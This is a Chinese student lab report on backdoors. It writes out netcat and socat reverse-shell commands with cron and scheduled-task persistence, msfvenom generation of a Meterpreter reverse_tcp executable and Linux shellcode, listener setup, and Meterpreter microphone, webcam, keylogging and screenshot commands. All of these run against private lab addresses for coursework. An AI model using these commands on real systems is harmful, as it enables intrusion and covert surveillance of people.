Exp2-后门原理与实践 20202211王宏韬

目录

1.基础问题问答

2. 实验总结与体会

3. 实践过程记录

  3.0  环境准备

  3.1  使用netcat获取主机操作Shell,cron启动

    3.1.1 Windows获取Linux Shell

    3.1.2 Linux获取Windows Shell

  3.2  使用socat获取主机操作Shell, 任务计划启动

    3.2.1 Windows获取Linux Shell

    3.2.2 Linux获取Windows Shell

  3.3  使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  3.4  使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  3.5  加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

4. 遇到的问题及解决

  4.1 后门程序被删除

  4.2 配置的IP地址模糊不清

  4.3 msf生成的shellcode没有注入,导致后门程序没有运行

 

1.基础问题问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:在互联网不慎点击了不安全的网络链接,通过操作系统或浏览器的漏洞从而被注入后门。在互联网下载不安全来源的程序或软件,其内部带有隐藏后门。将不明安全的U盘插入电脑,造成后门程序进入。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:windows:通过用户直接点击后门程序exe可执行文件来启动,或系统计划任务通过触发器,让事件触发启动后门。
linux:设置定时任务自动启动后门,通过shellcode注入启动。

(3)Meterpreter有哪些给你映像深刻的功能?

答:Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大,但令我印象最深的功能还是他非常方便的生成shellcode方式,它可以直接选定应用的操作系统、型号、连接方式、生成文件类型等,实现一行代码一键生成shellcode。

例如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.203.128 LPORT=2211 -f exe > 20202211_backdoor.exe
-p 反向连接方法
-LHOST 反向连接主机IP
-LPORT 反向连接端口
-f 生成的文件类型
-> 20202211_backdoor.exe生成的文件名

 

(4)如何发现自己有系统有没有被安装后门?

答:后门一般都会被设计的难以发现,首先我们需要靠安全软件的自动查杀与补丁更新来检查电脑是否存在后门。其次,如果发现电脑时常弹出流氓广告等流氓行为,且无法禁止,首先怀疑是否有程序捆绑了后门启动,或者是电脑时常产生异常现象,例如内存不足、黑屏蓝屏、磁盘损坏等等,都有可能是后门注入造成的。

2. 实验总结与体会

  本次实验主要运用后门的成功注入后,实现通过后门来操纵对方主机,但与实际情况有较大差异。实际上,最困难的还是第一步“如何向目标机注入后门?”,当下有各大安全防护软件可以查杀后门程序,而我们实验恰恰是略过了这一步极大程度地简化了实验难度,我在本次实验中也是关闭了系统安全软件才避免了被自动删除ncat与后门可执行文件。这也为我们以后学习提供了新思路与方向,即如何伪装隐藏我们的后门与如何将后门植入目标。再者,我深刻体会到了一旦后门程序被植入被启动,主机就会处于极其危险的状况,可以被攻击机做任意操作,如:获取屏幕、摄像头、麦克风等甚至是键盘鼠标击键信息。这也提示我今后更加注意网络的安全使用,定期检查查杀个人主机系统,是否存在后门程序运行的情况。

3. 实践过程记录

3.0  环境准备

因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址

Windows:打开cmd窗口,输入ipconfig
查询到本机ip地址为192.168.191.244


Linux:打开命令行窗口,输入ifconfig
查询到虚拟机IP地址为192.168.203.128



ncat

ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。
ncat可用来做端口扫描,端口转发,连接远程系统等

参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息 


socat

socat可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能​:端口转发​、​端口映射​、​端口监听、​tcp/udp连接​、​文件传送​、​nat映射​、使用openssl加密传输​


Meterpreter

Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大


3.1  使用netcat获取主机操作Shell,cron启动

3.1.1 Windows获取Linux Shell

首先在Windows端启动ncat监听2211(我的学号)端口
ncat.exe -l -p 2211
再在Linux虚拟机连接Windows,HOST:192.168.191.244 端口PORT:2211
ncat 192.168.191.244 2211 -e /bin/sh

-e 选项执行shell程序

win端成功进入Linux Shell运行ls指令

 

3.1.2 Linux获取Windows Shell

首先在Linux端启动ncat监听2211(我的学号)端口
nc -l -p 2211

 

再在Windows连接Linux,HOST:192.168.203.128 端口PORT:2211
ncat.exe -e cmd.exe 192.168.203.128 2211


Linux成功获得Windows cmd,运行dir

 

3.2  使用socat获取主机操作Shell, 任务计划启动

3.2.1 Windows获取Linux Shell

先在Linux上编写一条定时任务,让反弹连接定时启动

crontab -e

-Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-crontab指令增加一条定时任务
-e表示编辑
-输入2表示选择vim编辑器

crontab命令选项:
-u指定一个用户
-l列出某个用户的任务计划
-r删除某个用户的任务(不添加用户即删除所有的任务)
-e编辑某个用户的任务

cron文件语法:
分     小时    日       月       星期     命令

0-59   0-23   1-31   1-12     0-6     command     (取值范围,0表示周日一般一行对应一个任务)

Minute  Hour   Day    Month   Dayofweek   command
分钟      小时      天     月        天每星期       命令


将`22 * * * * /bin/netcat 192.168.191.244  2211 -e   /bin/sh`写入



在cmd中监听2211端口,等待kali机中定时反向连接的启动

ncat.exe -l -p 2211


等待任务启动后,cmd成功获得Linux shell,运行ls

 

3.2.2 Linux获取Windows Shell

 

`man socat` 查看socat使用说明



打开‘计算机管理’



创建任务计划程序



新建任务的操作,启动socat.exe


新建触发器,按预定时间启动任务


在kali中监听

socat - tcp:192.168.191.244:2211


等待预定时间,Windows启动任务,socat.exe运行
Linux获得Windows Shell

 

3.3  使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上用MSF meterpreter生成后门可执行程序20202211_backdoor.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.203.128 LPORT=2211 -f exe > 20202211_backdoor.exe

-LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.203.128
-LPORT是回连端口
-p 使用payload。
-payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
-f 生成文件的类型
-> 输出文件名



在Windows上监听2211端口等待接收可执行文件20202211_backdoor.exe

ncat.exe -lv 2211 >20202211_backdoor.exe


在Kali上将生成的20202211_backdoor.exe传送给Windows

ncat 192.168.191.244 2211 < 20202211_backdoor.exe




 

在Kali上用`msfconsole`进入msf控制台


配置监听模块

use exploit/multi/handler  #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.203.128  #KaliIP,和生成后门程序时指定的IP相同
set LPORT 2211




Linux:exploit

kali开始监听,在Windows启动20202211_backdoor.exe后门程序
kali成功获取到Windows Shell

 

3.4  使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权


本题前面操作与3.3类似,即通过Windows运行后门程序,kali在msf控制台监听来获得Windows Shell
配置与上述相同:

获得Windows Shell后

获取麦克风音频

record_mic




获取摄像头图片

webcam_snap





获取击键记录

开始获取:keyscan_start
结束获取:keyscan_dump



获取主机屏幕图像

screenshot


 

3.5  加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

使用msf生成指定需要的shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.203.128 LPORT=2211 -f c

-p linux/x86/shell_reverse_tcp表示使用的payload为linux/x86/shell_reverse_tcp
-LHOST=192.168.203.128
-LPORT=2211
-f c 采取c编码格式
(可以使用msfvenom --list payload查看各个主机版本适用的payload,选择linux/x86/shell_reverse_tcp后
  再使用msfvenom -f --list linux/x86/shell/reverse_tcp 查询payload的输出格式  
  再使用msfvenom -p linux/x86/shell_reverse_tcp --list-options确定需要的参数)




按照实验一的方法,找到返回地址在内存中的位置(设置堆栈可执行,关闭地址随机化),将上述生成的shellcode注入到返回地址之后的位置(即0xffffd040之后,让程序直接滑入msf生成的shellcode)



在kali打开msf控制台(配置与上述相同),打开监听



再打开另一个新的终端运行pwn1并注入构造好的input_shellcode



发现控制台监听成功,获得另一个终端的Shell控制台,输入ls检验成功

 

4. 遇到的问题及解决

4.1 后门程序被删除


起初开始,我没有关闭安全软件“火绒”,导致传送出来的后门程序频繁被删除,且难以恢复。
就连我下载的ncat都被检验为危险程序,被强行删除
因此,每次实验之前都务必关闭安全软件,避免不必要的意外。

 

4.2 配置的IP地址模糊不清


在实验过程中,我时常做着做着不知道该用什么ip地址,归根结底还是对反弹连接的原理掌握不够深刻。到后面我重新思考的时候才想明白反弹连接需要的是目标机主动连攻击机,因此需要用攻击机的地址。

4.3 msf生成的shellcode没有注入,导致后门程序没有运行

刚开始做题目五时,我并没有真正理解题意,以为就是像实验一 一样找到返回地址让他缓冲区溢出,然后另一个终端监控就可以拿到目标的shell了,被我想的太过简单化。实际上,需要用生成的shellcode注入到input内,再将input注入到pwn1,在构造成缓冲区溢出的同时,让程序执行滑入我们用msf构造好的后门,然后才能在另一终端处监控到后门执行,从而获得shell。



posted @ 2023-03-17 22:04  望红桃  阅读(695)  评论(0)    收藏  举报